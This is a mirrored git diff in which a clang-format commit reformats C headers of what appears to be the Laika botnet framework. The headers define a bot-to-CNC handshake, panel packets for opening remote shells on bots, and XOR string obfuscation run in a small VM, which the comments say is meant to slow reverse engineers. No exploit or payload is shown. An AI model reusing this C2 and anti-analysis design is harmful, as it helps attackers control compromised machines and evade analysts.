mirror of
https://github.com/CPunch/Laika.git
synced 2025-09-26 03:40:05 +00:00
Added .clang-format, formatted codebase
This commit is contained in:
@@ -1,32 +1,36 @@
|
||||
#ifndef LAIKA_LAIKA_H
|
||||
#define LAIKA_LAIKA_H
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "lconfig.h"
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#ifdef DEBUG
|
||||
# define LAIKA_DEBUG(...) printf("[~] " __VA_ARGS__); fflush(stdout);
|
||||
# define LAIKA_DEBUG(...) \
|
||||
printf("[~] " __VA_ARGS__); \
|
||||
fflush(stdout);
|
||||
#else
|
||||
# define LAIKA_DEBUG(...) ((void)0) /* no op */
|
||||
# define LAIKA_DEBUG(...) ((void)0) /* no op */
|
||||
#endif
|
||||
|
||||
#ifndef _MSC_VER
|
||||
# define LAIKA_FORCEINLINE __attribute__((always_inline)) inline
|
||||
# define LAIKA_FORCEINLINE __attribute__((always_inline)) inline
|
||||
#else
|
||||
# define LAIKA_FORCEINLINE __forceinline
|
||||
# define LAIKA_FORCEINLINE __forceinline
|
||||
#endif
|
||||
|
||||
LAIKA_FORCEINLINE int MIN(int a, int b) {
|
||||
LAIKA_FORCEINLINE int MIN(int a, int b)
|
||||
{
|
||||
return a < b ? a : b;
|
||||
}
|
||||
|
||||
LAIKA_FORCEINLINE int MAX(int a, int b) {
|
||||
LAIKA_FORCEINLINE int MAX(int a, int b)
|
||||
{
|
||||
return a > b ? a : b;
|
||||
}
|
||||
|
||||
|
@@ -1,38 +1,43 @@
|
||||
#ifndef LAIKA_BOX_H
|
||||
#define LAIKA_BOX_H
|
||||
|
||||
#include <inttypes.h>
|
||||
|
||||
#include "laika.h"
|
||||
#include "lmem.h"
|
||||
#include "lvm.h"
|
||||
#include "lsodium.h"
|
||||
#include "lvm.h"
|
||||
|
||||
#include <inttypes.h>
|
||||
|
||||
#define LAIKA_BOX_SCRATCH_SIZE 128
|
||||
#define LAIKA_BOX_HEAPSIZE 256
|
||||
#define LAIKA_BOX_HEAPSIZE 256
|
||||
|
||||
enum {
|
||||
enum
|
||||
{
|
||||
LAIKA_BOX_UNLOCKED_INDX, /* for output */
|
||||
LAIKA_BOX_SCRATCH_INDX, /* for misc. scratch work the vm needs to do (hold keys, etc.) */
|
||||
LAIKA_BOX_DATA_INDX /* for input */
|
||||
LAIKA_BOX_SCRATCH_INDX, /* for misc. scratch work the vm needs to do (hold keys, etc.) */
|
||||
LAIKA_BOX_DATA_INDX /* for input */
|
||||
};
|
||||
|
||||
/* Laika Box:
|
||||
Laika Boxes are obfuscated storage mediums where data is only in memory for a very short amount of time.
|
||||
Of course, this can be bypassed with a simple debugger and setting a breakpoint right after the data is 'unlocked',
|
||||
but the game of obfuscation isn't to prevent the data from being seen, it's to slow the reverse engineer down.
|
||||
/* Laika Box:
|
||||
Laika Boxes are obfuscated storage mediums where data is only in memory for a very short
|
||||
amount of time. Of course, this can be bypassed with a simple debugger and setting a breakpoint
|
||||
right after the data is 'unlocked', but the game of obfuscation isn't to prevent the data from
|
||||
being seen, it's to slow the reverse engineer down.
|
||||
|
||||
2 main APIs are exposed here, laikaB_unlock() & laikaB_lock(). Both of which are inlined to make it more painful
|
||||
for the reverse engineer to quickly dump boxes from memory, forcing them to set breakpoints across the executable.
|
||||
Each box has its own VM, with it's own deobfuscation routine. This makes static analysis a painful route for string
|
||||
dumping. These apis, while can be used directly, are abstracted through macros with the pre-built boxes.
|
||||
2 main APIs are exposed here, laikaB_unlock() & laikaB_lock(). Both of which are inlined to
|
||||
make it more painful for the reverse engineer to quickly dump boxes from memory, forcing them to
|
||||
set breakpoints across the executable. Each box has its own VM, with it's own deobfuscation
|
||||
routine. This makes static analysis a painful route for string dumping. These apis, while can be
|
||||
used directly, are abstracted through macros with the pre-built boxes.
|
||||
|
||||
Use LAIKA_BOX_SKID_START & LAIKA_BOX_SKID_END for quick and dirty usage. The data macros in `lboxconfig.h` are passed
|
||||
to these, which are generated by VMBoxGen (`tools/vmboxgen`). This will be extended in the future with more boxes and such,
|
||||
however for the time being only LAIKA_BOX_SKID_* is implemented.
|
||||
Use LAIKA_BOX_SKID_START & LAIKA_BOX_SKID_END for quick and dirty usage. The data macros in
|
||||
`lboxconfig.h` are passed to these, which are generated by VMBoxGen (`tools/vmboxgen`). This will
|
||||
be extended in the future with more boxes and such, however for the time being only
|
||||
LAIKA_BOX_SKID_* is implemented.
|
||||
*/
|
||||
|
||||
struct sLaikaB_box {
|
||||
struct sLaikaB_box
|
||||
{
|
||||
uint8_t unlockedData[LAIKA_BOX_HEAPSIZE];
|
||||
uint8_t scratch[LAIKA_BOX_SCRATCH_SIZE];
|
||||
uint8_t code[LAIKA_VM_CODESIZE];
|
||||
@@ -40,74 +45,74 @@ struct sLaikaB_box {
|
||||
|
||||
/* ======================================[[ Box Var API ]]====================================== */
|
||||
|
||||
#define LAIKA_BOX_STARTVAR(type, ident, box, data) \
|
||||
uint8_t __data##ident[LAIKA_VM_CODESIZE] = data; \
|
||||
type ident; \
|
||||
struct sLaikaB_box __box##ident = box; \
|
||||
laikaB_unlock(&__box##ident, __data##ident); \
|
||||
#define LAIKA_BOX_STARTVAR(type, ident, box, data) \
|
||||
uint8_t __data##ident[LAIKA_VM_CODESIZE] = data; \
|
||||
type ident; \
|
||||
struct sLaikaB_box __box##ident = box; \
|
||||
laikaB_unlock(&__box##ident, __data##ident); \
|
||||
ident = (type)__box##ident.unlockedData;
|
||||
|
||||
#define LAIKA_BOX_ENDVAR(ident) \
|
||||
laikaB_lock(&__box##ident);
|
||||
#define LAIKA_BOX_ENDVAR(ident) laikaB_lock(&__box##ident);
|
||||
|
||||
#ifdef LAIKA_OBFUSCATE
|
||||
# define LAIKA_BOX_SKID_START(type, ident, strmacro) \
|
||||
LAIKA_BOX_STARTVAR(type, ident, LAIKA_BOX_SKID(KEY_##strmacro), DATA_##strmacro)
|
||||
# define LAIKA_BOX_SKID_END(ident) \
|
||||
LAIKA_BOX_ENDVAR(ident)
|
||||
# define LAIKA_BOX_SKID_START(type, ident, strmacro) \
|
||||
LAIKA_BOX_STARTVAR(type, ident, LAIKA_BOX_SKID(KEY_##strmacro), DATA_##strmacro)
|
||||
# define LAIKA_BOX_SKID_END(ident) LAIKA_BOX_ENDVAR(ident)
|
||||
#else /* disable obfuscations */
|
||||
# define LAIKA_BOX_SKID_START(type, ident, strmacro) \
|
||||
type ident = strmacro;
|
||||
# define LAIKA_BOX_SKID_END(ident) ((void)0) /* no-op */
|
||||
# define LAIKA_BOX_SKID_START(type, ident, strmacro) type ident = strmacro;
|
||||
# define LAIKA_BOX_SKID_END(ident) ((void)0) /* no-op */
|
||||
#endif
|
||||
|
||||
/* ======================================[[ Laika Boxes ]]====================================== */
|
||||
|
||||
/* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol */
|
||||
#define LAIKA_BOX_SKID(_key) { \
|
||||
.unlockedData = {0}, /* reserved */ \
|
||||
.code = { /* stack layout: \
|
||||
[0] - unlockedData (ptr) \
|
||||
[1] - data (ptr) \
|
||||
[2] - key (uint8_t) \
|
||||
[3] - working data (uint8_t) \
|
||||
*/ \
|
||||
LAIKA_MAKE_VM_IAB(OP_LOADCONST, 0, LAIKA_BOX_UNLOCKED_INDX), \
|
||||
LAIKA_MAKE_VM_IAB(OP_LOADCONST, 1, LAIKA_BOX_DATA_INDX), \
|
||||
LAIKA_MAKE_VM_IAB(OP_PUSHLIT, 2, _key), \
|
||||
/* LOOP_START */ \
|
||||
LAIKA_MAKE_VM_IAB(OP_READ, 3, 1), /* load data into working data */ \
|
||||
LAIKA_MAKE_VM_IABC(OP_XOR, 3, 3, 2), /* xor data with key */ \
|
||||
LAIKA_MAKE_VM_IAB(OP_WRITE, 0, 3), /* write data to unlockedData */ \
|
||||
LAIKA_MAKE_VM_IA(OP_INCPTR, 0), \
|
||||
LAIKA_MAKE_VM_IA(OP_INCPTR, 1), \
|
||||
LAIKA_MAKE_VM_IAB(OP_TESTJMP, 3, -17), /* exit loop on null terminator */ \
|
||||
OP_EXIT \
|
||||
} \
|
||||
}
|
||||
#define LAIKA_BOX_SKID(_key) \
|
||||
{ \
|
||||
.unlockedData = {0}, /* reserved */ \
|
||||
.code = { /* stack layout: \
|
||||
[0] - unlockedData (ptr) \
|
||||
[1] - data (ptr) \
|
||||
[2] - key (uint8_t) \
|
||||
[3] - working data (uint8_t) \
|
||||
*/ \
|
||||
LAIKA_MAKE_VM_IAB(OP_LOADCONST, 0, LAIKA_BOX_UNLOCKED_INDX), \
|
||||
LAIKA_MAKE_VM_IAB(OP_LOADCONST, 1, LAIKA_BOX_DATA_INDX), \
|
||||
LAIKA_MAKE_VM_IAB(OP_PUSHLIT, 2, _key), /* LOOP_START */ \
|
||||
LAIKA_MAKE_VM_IAB(OP_READ, 3, 1), /* load data into working data */ \
|
||||
LAIKA_MAKE_VM_IABC(OP_XOR, 3, 3, 2), /* xor data with key */ \
|
||||
LAIKA_MAKE_VM_IAB(OP_WRITE, 0, 3), /* write data to unlockedData */ \
|
||||
LAIKA_MAKE_VM_IA(OP_INCPTR, 0), \
|
||||
LAIKA_MAKE_VM_IA(OP_INCPTR, 1), \
|
||||
LAIKA_MAKE_VM_IAB(OP_TESTJMP, 3, -17), /* exit loop on null terminator */ \
|
||||
OP_EXIT \
|
||||
} \
|
||||
}
|
||||
|
||||
/* ======================================[[ Raw Box API ]]====================================== */
|
||||
|
||||
LAIKA_FORCEINLINE void* laikaB_unlock(struct sLaikaB_box *box, void *data) {
|
||||
LAIKA_FORCEINLINE void *laikaB_unlock(struct sLaikaB_box *box, void *data)
|
||||
{
|
||||
struct sLaikaV_vm vm = {
|
||||
/* boxes have 2 reserved constants, [0] for the output, [1] for the input */
|
||||
.constList = {
|
||||
[LAIKA_BOX_UNLOCKED_INDX] = LAIKA_MAKE_VM_PTR(box->unlockedData),
|
||||
[LAIKA_BOX_SCRATCH_INDX] = LAIKA_MAKE_VM_PTR(box->scratch),
|
||||
[LAIKA_BOX_DATA_INDX] = LAIKA_MAKE_VM_PTR(data),
|
||||
},
|
||||
.code = {0},
|
||||
.stack = {0},
|
||||
/* boxes have 2 reserved constants, [0] for the output, [1] for the input */
|
||||
.constList =
|
||||
{
|
||||
[LAIKA_BOX_UNLOCKED_INDX] = LAIKA_MAKE_VM_PTR(box->unlockedData),
|
||||
[LAIKA_BOX_SCRATCH_INDX] = LAIKA_MAKE_VM_PTR(box->scratch),
|
||||
[LAIKA_BOX_DATA_INDX] = LAIKA_MAKE_VM_PTR(data),
|
||||
},
|
||||
.code = { 0 },
|
||||
.stack = { 0 },
|
||||
.pc = 0
|
||||
};
|
||||
|
||||
memcpy(vm.code, box->code, LAIKA_VM_CODESIZE);
|
||||
laikaV_execute(&vm);
|
||||
return (void*)box->unlockedData;
|
||||
return (void *)box->unlockedData;
|
||||
}
|
||||
|
||||
/* safely zeros the unlockedData using libsodium's api for clearing sensitive data from memory */
|
||||
LAIKA_FORCEINLINE void laikaB_lock(struct sLaikaB_box *box) {
|
||||
LAIKA_FORCEINLINE void laikaB_lock(struct sLaikaB_box *box)
|
||||
{
|
||||
sodium_memzero(box->unlockedData, LAIKA_BOX_HEAPSIZE);
|
||||
sodium_memzero(box->scratch, LAIKA_BOX_SCRATCH_SIZE);
|
||||
}
|
||||
|
@@ -1,18 +1,23 @@
|
||||
#ifndef LAIKA_ERROR_H
|
||||
#define LAIKA_ERROR_H
|
||||
|
||||
#include <stdio.h>
|
||||
#include <setjmp.h>
|
||||
|
||||
#include "laika.h"
|
||||
|
||||
#include <setjmp.h>
|
||||
#include <stdio.h>
|
||||
|
||||
/* defines errorstack size */
|
||||
#define LAIKA_MAXERRORS 32
|
||||
|
||||
/* DO NOT RETURN/GOTO/BREAK or otherwise skip LAIKA_TRYEND */
|
||||
#define LAIKA_TRY if (setjmp(eLaika_errStack[++eLaika_errIndx]) == 0) {
|
||||
#define LAIKA_CATCH } else {
|
||||
#define LAIKA_TRYEND } --eLaika_errIndx;
|
||||
#define LAIKA_TRY if (setjmp(eLaika_errStack[++eLaika_errIndx]) == 0) {
|
||||
#define LAIKA_CATCH \
|
||||
} \
|
||||
else \
|
||||
{
|
||||
#define LAIKA_TRYEND \
|
||||
} \
|
||||
--eLaika_errIndx;
|
||||
|
||||
/* if eLaika_errIndx is >= 0, we have a safe spot to jump too if an error is thrown */
|
||||
#define LAIKA_ISPROTECTED (eLaika_errIndx >= 0)
|
||||
@@ -23,24 +28,25 @@
|
||||
arguments are ignored.
|
||||
*/
|
||||
#ifndef DEBUG
|
||||
#define LAIKA_ERROR(...) do { \
|
||||
if (LAIKA_ISPROTECTED) \
|
||||
longjmp(eLaika_errStack[eLaika_errIndx], 1); \
|
||||
else \
|
||||
exit(1); \
|
||||
} while(0);
|
||||
#define LAIKA_WARN(...) ((void)0) /* no op */
|
||||
# define LAIKA_ERROR(...) \
|
||||
do { \
|
||||
if (LAIKA_ISPROTECTED) \
|
||||
longjmp(eLaika_errStack[eLaika_errIndx], 1); \
|
||||
else \
|
||||
exit(1); \
|
||||
} while (0);
|
||||
# define LAIKA_WARN(...) ((void)0) /* no op */
|
||||
#else
|
||||
#define LAIKA_ERROR(...) do { \
|
||||
printf("[ERROR] : " __VA_ARGS__); \
|
||||
if (LAIKA_ISPROTECTED) \
|
||||
longjmp(eLaika_errStack[eLaika_errIndx], 1); \
|
||||
else \
|
||||
exit(1); \
|
||||
} while(0);
|
||||
# define LAIKA_ERROR(...) \
|
||||
do { \
|
||||
printf("[ERROR] : " __VA_ARGS__); \
|
||||
if (LAIKA_ISPROTECTED) \
|
||||
longjmp(eLaika_errStack[eLaika_errIndx], 1); \
|
||||
else \
|
||||
exit(1); \
|
||||
} while (0);
|
||||
|
||||
#define LAIKA_WARN(...) \
|
||||
printf("[WARN] : " __VA_ARGS__);
|
||||
# define LAIKA_WARN(...) printf("[WARN] : " __VA_ARGS__);
|
||||
#endif
|
||||
|
||||
extern int eLaika_errIndx;
|
||||
|
@@ -7,37 +7,39 @@
|
||||
|
||||
/* microsoft strikes again with their lack of support for VLAs */
|
||||
#if _MSC_VER
|
||||
#define VLA(type, var, sz) type *var = laikaM_malloc(sizeof(type)*sz);
|
||||
#define ENDVLA(var) laikaM_free(var);
|
||||
# define VLA(type, var, sz) type *var = laikaM_malloc(sizeof(type) * sz);
|
||||
# define ENDVLA(var) laikaM_free(var);
|
||||
#else
|
||||
#define VLA(type, var, sz) type var[sz];
|
||||
#define ENDVLA(var) ((void)0) /* no op */
|
||||
# define VLA(type, var, sz) type var[sz];
|
||||
# define ENDVLA(var) ((void)0) /* no op */
|
||||
#endif
|
||||
|
||||
#define laikaM_malloc(sz) laikaM_realloc(NULL, sz)
|
||||
#define laikaM_free(buf) laikaM_realloc(buf, 0)
|
||||
#define laikaM_free(buf) laikaM_realloc(buf, 0)
|
||||
|
||||
#define laikaM_growarray(type, buf, needed, count, capacity) \
|
||||
if (count + needed >= capacity || buf == NULL) { \
|
||||
capacity = (capacity + needed) * GROW_FACTOR; \
|
||||
buf = (type*)laikaM_realloc(buf, sizeof(type)*capacity); \
|
||||
#define laikaM_growarray(type, buf, needed, count, capacity) \
|
||||
if (count + needed >= capacity || buf == NULL) { \
|
||||
capacity = (capacity + needed) * GROW_FACTOR; \
|
||||
buf = (type *)laikaM_realloc(buf, sizeof(type) * capacity); \
|
||||
}
|
||||
|
||||
/* moves array elements above indx down by numElem, removing numElem elements at indx */
|
||||
#define laikaM_rmvarray(buf, count, indx, numElem) do { \
|
||||
int _i, _sz = ((count-indx)-numElem); \
|
||||
for (_i = 0; _i < _sz; _i++) \
|
||||
buf[indx+_i] = buf[indx+numElem+_i]; \
|
||||
count -= numElem; \
|
||||
} while(0);
|
||||
/* moves array elements above indx down by numElem, removing numElem elements at indx */
|
||||
#define laikaM_rmvarray(buf, count, indx, numElem) \
|
||||
do { \
|
||||
int _i, _sz = ((count - indx) - numElem); \
|
||||
for (_i = 0; _i < _sz; _i++) \
|
||||
buf[indx + _i] = buf[indx + numElem + _i]; \
|
||||
count -= numElem; \
|
||||
} while (0);
|
||||
|
||||
/* moves array elements above indx up by numElem, inserting numElem elements at indx */
|
||||
#define laikaM_insertarray(buf, count, indx, numElem) do { \
|
||||
int _i; \
|
||||
for (_i = count; _i > indx; _i--) \
|
||||
buf[_i] = buf[_i-1]; \
|
||||
count += numElem; \
|
||||
} while(0);
|
||||
/* moves array elements above indx up by numElem, inserting numElem elements at indx */
|
||||
#define laikaM_insertarray(buf, count, indx, numElem) \
|
||||
do { \
|
||||
int _i; \
|
||||
for (_i = count; _i > indx; _i--) \
|
||||
buf[_i] = buf[_i - 1]; \
|
||||
count += numElem; \
|
||||
} while (0);
|
||||
|
||||
void *laikaM_realloc(void *buf, size_t sz);
|
||||
|
||||
|
@@ -3,101 +3,108 @@
|
||||
|
||||
#include <inttypes.h>
|
||||
|
||||
#define LAIKA_MAGIC "LAI\x12"
|
||||
#define LAIKA_MAGICLEN 4
|
||||
#define LAIKA_MAGIC "LAI\x12"
|
||||
#define LAIKA_MAGICLEN 4
|
||||
|
||||
#define LAIKA_MAX_PKTSIZE 4096
|
||||
#define LAIKA_MAX_PKTSIZE 4096
|
||||
|
||||
#define LAIKA_HOSTNAME_LEN 64
|
||||
#define LAIKA_IPSTR_LEN 64
|
||||
#define LAIKA_INET_LEN 22
|
||||
#define LAIKA_HOSTNAME_LEN 64
|
||||
#define LAIKA_IPSTR_LEN 64
|
||||
#define LAIKA_INET_LEN 22
|
||||
|
||||
#define LAIKA_SHELL_DATA_MAX_LENGTH 2048
|
||||
#define LAIKA_MAX_SHELLS 16
|
||||
|
||||
/* first handshake between peer & cnc works as so:
|
||||
- peer connects to cnc and sends a LAIKAPKT_HANDSHAKE_REQ with the peer's pubkey, hostname & inet ip
|
||||
- after cnc receives LAIKAPKT_HANDSHAKE_REQ, all packets are encrypted
|
||||
- cnc responds with LAIKAPKT_HANDSHAKE_RES
|
||||
- if peer is an authenticated client (panel), LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ is then sent
|
||||
*/
|
||||
|
||||
/* encrypted packets are laid out like so: (any packet sent/received where peer->useSecure is true)
|
||||
LAIKAPKT_ID pktID; -- plain text
|
||||
uint8_t nonce[crypto_secretbox_NONCEBYTES]; -- plain text
|
||||
uint8_t body[pktSize + crypto_secretbox_MACBYTES]; -- encrypted with shared key & nonce
|
||||
*/
|
||||
#define LAIKA_MAX_SHELLS 16
|
||||
|
||||
/*
|
||||
first handshake between peer & cnc works as so:
|
||||
- peer connects to cnc and sends a LAIKAPKT_HANDSHAKE_REQ with the peer's pubkey, hostname &
|
||||
inet ip
|
||||
- after cnc receives LAIKAPKT_HANDSHAKE_REQ, all packets are encrypted
|
||||
- cnc responds with LAIKAPKT_HANDSHAKE_RES
|
||||
- if peer is an authenticated client (panel), LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ is then
|
||||
sent
|
||||
|
||||
encrypted packets are laid out like so: (any packet sent/received where peer->useSecure is true)
|
||||
{
|
||||
LAIKAPKT_ID pktID; -- plain text
|
||||
uint8_t nonce[crypto_secretbox_NONCEBYTES]; -- plain text
|
||||
uint8_t body[pktSize + crypto_secretbox_MACBYTES]; -- encrypted with shared key & nonce
|
||||
}
|
||||
|
||||
any packet ending with *_RES is cnc 2 peer
|
||||
any packet ending with *_REQ is peer 2 cnc
|
||||
if packet doesn't have either, it can be sent & received by both peer & cnc
|
||||
*/
|
||||
enum {
|
||||
/* =========================================[[ Peer ]]========================================== */
|
||||
|
||||
enum
|
||||
{
|
||||
/* =======================================[[ Peer ]]======================================== */
|
||||
LAIKAPKT_VARPKT,
|
||||
/* layout of LAIKAPKT_VARPKT:
|
||||
* LAIKAPKT_SIZE pktSize;
|
||||
* LAIKAPKT_ID pktID;
|
||||
*/
|
||||
* LAIKAPKT_SIZE pktSize;
|
||||
* LAIKAPKT_ID pktID;
|
||||
*/
|
||||
LAIKAPKT_HANDSHAKE_REQ, /* first packet sent by peer & received by cnc */
|
||||
/* layout of LAIKAPKT_HANDSHAKE_REQ: *NOTE* ALL DATA IN THIS PACKET IS SENT IN PLAINTEXT!!
|
||||
* uint8_t laikaMagic[LAIKA_MAGICLEN]; -- LAIKA_MAGIC
|
||||
* uint8_t majorVer;
|
||||
* uint8_t minorVer;
|
||||
* uint8_t osType;
|
||||
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted nonce with
|
||||
* char hostname[LAIKA_HOSTNAME_LEN]; -- can be empty (ie. all NULL bytes)
|
||||
* char inet[LAIKA_INET_LEN]; -- can be empty (ie. all NULL bytes)
|
||||
*/
|
||||
* uint8_t laikaMagic[LAIKA_MAGICLEN]; -- LAIKA_MAGIC
|
||||
* uint8_t majorVer;
|
||||
* uint8_t minorVer;
|
||||
* uint8_t osType;
|
||||
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted
|
||||
* nonce with char hostname[LAIKA_HOSTNAME_LEN]; -- can be empty (ie. all NULL bytes) char
|
||||
* inet[LAIKA_INET_LEN]; -- can be empty (ie. all NULL bytes)
|
||||
*/
|
||||
LAIKAPKT_HANDSHAKE_RES,
|
||||
/* layout of LAIKAPKT_HANDSHAKE_RES:
|
||||
* uint8_t cncEndian;
|
||||
*/
|
||||
* uint8_t cncEndian;
|
||||
*/
|
||||
LAIKAPKT_PINGPONG,
|
||||
/* layout of LAIKAPKT_PINGPONG:
|
||||
* NULL (empty packet)
|
||||
*/
|
||||
* NULL (empty packet)
|
||||
*/
|
||||
LAIKAPKT_SHELL_OPEN,
|
||||
/* layout of LAIKAPKT_SHELL_OPEN:
|
||||
* uint32_t id;
|
||||
* uint16_t cols;
|
||||
* uint16_t rows;
|
||||
*/
|
||||
* uint32_t id;
|
||||
* uint16_t cols;
|
||||
* uint16_t rows;
|
||||
*/
|
||||
LAIKAPKT_SHELL_CLOSE,
|
||||
/* layout of LAIKAPKT_SHELL_CLOSE:
|
||||
* uint32_t id;
|
||||
*/
|
||||
* uint32_t id;
|
||||
*/
|
||||
LAIKAPKT_SHELL_DATA,
|
||||
/* layout of LAIKAPKT_SHELL_DATA
|
||||
* uint32_t id;
|
||||
* char buf[VAR_PACKET_LENGTH-sizeof(uint32_t)];
|
||||
*/
|
||||
/* =========================================[[ Auth ]]========================================== */
|
||||
LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, /* second packet sent by authenticated peers (panel). there is no response packet */
|
||||
* uint32_t id;
|
||||
* char buf[VAR_PACKET_LENGTH-sizeof(uint32_t)];
|
||||
*/
|
||||
/* =======================================[[ Auth ]]======================================== */
|
||||
LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, /* second packet sent by authenticated peers (panel).
|
||||
there is no response packet */
|
||||
/* layout of LAIKAPKT_STAGE2_HANDSHAKE_REQ
|
||||
* uint8_t peerType;
|
||||
*/
|
||||
* uint8_t peerType;
|
||||
*/
|
||||
LAIKAPKT_AUTHENTICATED_ADD_PEER_RES, /* notification that a peer has connected to the cnc */
|
||||
/* layout of LAIKAPKT_AUTHENTICATED_ADD_PEER_RES
|
||||
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
|
||||
* char hostname[LAIKA_HOSTNAME_LEN];
|
||||
* char inet[LAIKA_INET_LEN];
|
||||
* char ipStr[LAIKA_IPSTR_LEN];
|
||||
* uint8_t peerType;
|
||||
* uint8_t osType;
|
||||
*/
|
||||
LAIKAPKT_AUTHENTICATED_RMV_PEER_RES, /* notification that a peer has disconnected from the cnc */
|
||||
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
|
||||
* char hostname[LAIKA_HOSTNAME_LEN];
|
||||
* char inet[LAIKA_INET_LEN];
|
||||
* char ipStr[LAIKA_IPSTR_LEN];
|
||||
* uint8_t peerType;
|
||||
* uint8_t osType;
|
||||
*/
|
||||
LAIKAPKT_AUTHENTICATED_RMV_PEER_RES, /* notification that a peer has disconnected from the cnc
|
||||
*/
|
||||
/* layout of LAIKAPKT_AUTHENTICATED_RMV_PEER_RES
|
||||
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
|
||||
* uint8_t peerType;
|
||||
*/
|
||||
LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ, /* panel requesting cnc open a shell on bot. there is no response packet, shell is assumed to be open */
|
||||
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
|
||||
* uint8_t peerType;
|
||||
*/
|
||||
LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ, /* panel requesting cnc open a shell on bot. there is no
|
||||
response packet, shell is assumed to be open */
|
||||
/* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ
|
||||
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
|
||||
* uint16_t cols;
|
||||
* uint16_t rows;
|
||||
*/
|
||||
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
|
||||
* uint16_t cols;
|
||||
* uint16_t rows;
|
||||
*/
|
||||
LAIKAPKT_MAXNONE
|
||||
};
|
||||
|
||||
@@ -105,7 +112,7 @@ typedef uint8_t LAIKAPKT_ID;
|
||||
typedef uint16_t LAIKAPKT_SIZE;
|
||||
|
||||
#ifdef DEBUG
|
||||
const char* laikaD_getPacketName(LAIKAPKT_ID);
|
||||
const char *laikaD_getPacketName(LAIKAPKT_ID);
|
||||
#endif
|
||||
|
||||
#endif
|
@@ -2,66 +2,75 @@
|
||||
#define LAIKA_PEER_H
|
||||
|
||||
#include "laika.h"
|
||||
#include "lsocket.h"
|
||||
#include "lpacket.h"
|
||||
#include "lpolllist.h"
|
||||
#include "lsocket.h"
|
||||
#include "lsodium.h"
|
||||
|
||||
typedef enum {
|
||||
typedef enum
|
||||
{
|
||||
PEER_UNKNWN,
|
||||
PEER_BOT,
|
||||
PEER_CNC, /* cnc 2 cnc communication */
|
||||
PEER_AUTH /* authorized peers can send commands to cnc */
|
||||
} PEERTYPE;
|
||||
|
||||
typedef enum {
|
||||
typedef enum
|
||||
{
|
||||
OS_UNKNWN,
|
||||
OS_WIN,
|
||||
OS_LIN
|
||||
} OSTYPE;
|
||||
|
||||
#ifdef _WIN32
|
||||
# define LAIKA_OSTYPE OS_WIN
|
||||
# define LAIKA_OSTYPE OS_WIN
|
||||
#else
|
||||
# ifdef __linux__
|
||||
# define LAIKA_OSTYPE OS_LIN
|
||||
# else
|
||||
# define LAIKA_OSTYPE OS_UNKNWN
|
||||
# endif
|
||||
# ifdef __linux__
|
||||
# define LAIKA_OSTYPE OS_LIN
|
||||
# else
|
||||
# define LAIKA_OSTYPE OS_UNKNWN
|
||||
# endif
|
||||
#endif
|
||||
|
||||
typedef void (*PeerPktHandler)(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
|
||||
|
||||
struct sLaika_peerPacketInfo {
|
||||
struct sLaika_peerPacketInfo
|
||||
{
|
||||
PeerPktHandler handler;
|
||||
LAIKAPKT_SIZE size;
|
||||
bool variadic;
|
||||
};
|
||||
|
||||
#define LAIKA_CREATE_PACKET_INFO(ID, HANDLER, SIZE, ISVARIADIC) [ID] = {.handler = HANDLER, .size = SIZE, .variadic = ISVARIADIC}
|
||||
#define LAIKA_CREATE_PACKET_INFO(ID, HANDLER, SIZE, ISVARIADIC) \
|
||||
[ID] = {.handler = HANDLER, .size = SIZE, .variadic = ISVARIADIC}
|
||||
|
||||
struct sLaika_peer {
|
||||
struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting sLaika_peer* to sLaika_sock* works as intended */
|
||||
struct sLaika_peer
|
||||
{
|
||||
struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting
|
||||
sLaika_peer* to sLaika_sock* works as intended */
|
||||
uint8_t peerPub[crypto_kx_PUBLICKEYBYTES]; /* connected peer's public key */
|
||||
uint8_t inKey[crypto_kx_SESSIONKEYBYTES], outKey[crypto_kx_SESSIONKEYBYTES];
|
||||
char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipStr[LAIKA_IPSTR_LEN];
|
||||
struct sLaika_pollList *pList; /* pollList we're activeList in */
|
||||
struct sLaika_pollList *pList; /* pollList we're activeList in */
|
||||
struct sLaika_peerPacketInfo *packetTbl; /* const table to pull pkt data from */
|
||||
void *uData; /* data to be passed to pktHandler */
|
||||
LAIKAPKT_SIZE pktSize; /* current pkt size */
|
||||
LAIKAPKT_ID pktID; /* current pkt ID */
|
||||
void *uData; /* data to be passed to pktHandler */
|
||||
LAIKAPKT_SIZE pktSize; /* current pkt size */
|
||||
LAIKAPKT_ID pktID; /* current pkt ID */
|
||||
PEERTYPE type;
|
||||
OSTYPE osType;
|
||||
int outStart; /* index of pktID for out packet */
|
||||
int inStart; /* index of pktID for in packet */
|
||||
int outStart; /* index of pktID for out packet */
|
||||
int inStart; /* index of pktID for in packet */
|
||||
bool useSecure; /* if true, peer will transmit/receive encrypted data using inKey & outKey */
|
||||
};
|
||||
|
||||
struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *packetTbl, struct sLaika_pollList *pList, pollFailEvent onPollFail, void *onPollFailUData, void *uData);
|
